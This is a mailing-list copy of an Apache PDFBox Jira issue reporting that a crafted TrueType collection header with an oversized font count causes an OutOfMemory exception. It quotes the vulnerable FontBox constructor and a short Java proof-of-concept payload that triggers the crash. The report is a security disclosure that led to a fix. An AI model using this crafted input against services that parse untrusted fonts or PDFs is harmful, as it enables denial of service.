You are viewing a plain text version of this content. The canonical link for it is here.
Posted to dev@pdfbox.apache.org by "Andreas Lehmkühler (Jira)" <ji...@apache.org> on 2021/11/26 07:42:00 UTC
[jira] [Created] (PDFBOX-5333) Wrong number of fonts leads to OOM-Exception
Andreas Lehmkühler created PDFBOX-5333:
------------------------------------------
Summary: Wrong number of fonts leads to OOM-Exception
Key: PDFBOX-5333
URL: https://issues.apache.org/jira/browse/PDFBOX-5333
Project: PDFBox
Issue Type: Bug
Components: FontBox
Affects Versions: 2.0.24, 3.0.0 PDFBox
Reporter: Andreas Lehmkühler
Assignee: Andreas Lehmkühler
Fix For: 2.0.25, 3.0.0 PDFBox
We got the following error report from through security@
+Description:+
In FontBox of Apache PDFBox, a carefully crafted PDF
file can trigger an OutOfMemory-Exception while loading the file. This
issue affects Apache PDFBox version 1.8 to 3.0.0-alpha2.
Product: Apache PDFBox
Version: 1.8-3.0.0-alpha2
Affected component:
src/main/java/org/apache/fontbox/ttf/TrueTypeCollection.java
+Vulnerability:+
{code}
67 TrueTypeCollection(TTFDataStream stream) throws IOException
68 {
69 this.stream = stream;
70
71 // TTC header
72 String tag = stream.readTag();
73 if (!tag.equals("ttcf"))
74 {
75 throw new IOException("Missing TTC header");
76 }
77 float version = stream.read32Fixed();
78 numFonts = (int)stream.readUnsignedInt(); # Vulnerability
79 fontOffsets = new long[numFonts]; #
Vulnerability
80 for (int i = 0; i < numFonts; i++)
81 {
82 fontOffsets[i] = stream.readUnsignedInt();
83 }
{code}
+Attack vector:+
{code}
import org.apache.fontbox.ttf.TrueTypeCollection;
import java.io.*;
public class main {
public static void main(String[] args) throws IOException {
byte[] payload = {0x74, 0x74, 0x63, 0x66, 0x00, 0x00, 0x00, 0x00,
0x7F, (byte) 0xFF, (byte) 0xFF, (byte) 0xFF};
TrueTypeCollection ttc = new TrueTypeCollection(new
ByteArrayInputStream(payload));
}
}
{code}
--
This message was sent by Atlassian Jira
(v8.20.1#820001)
---------------------------------------------------------------------
To unsubscribe, e-mail: dev-unsubscribe@pdfbox.apache.org
For additional commands, e-mail: dev-help@pdfbox.apache.org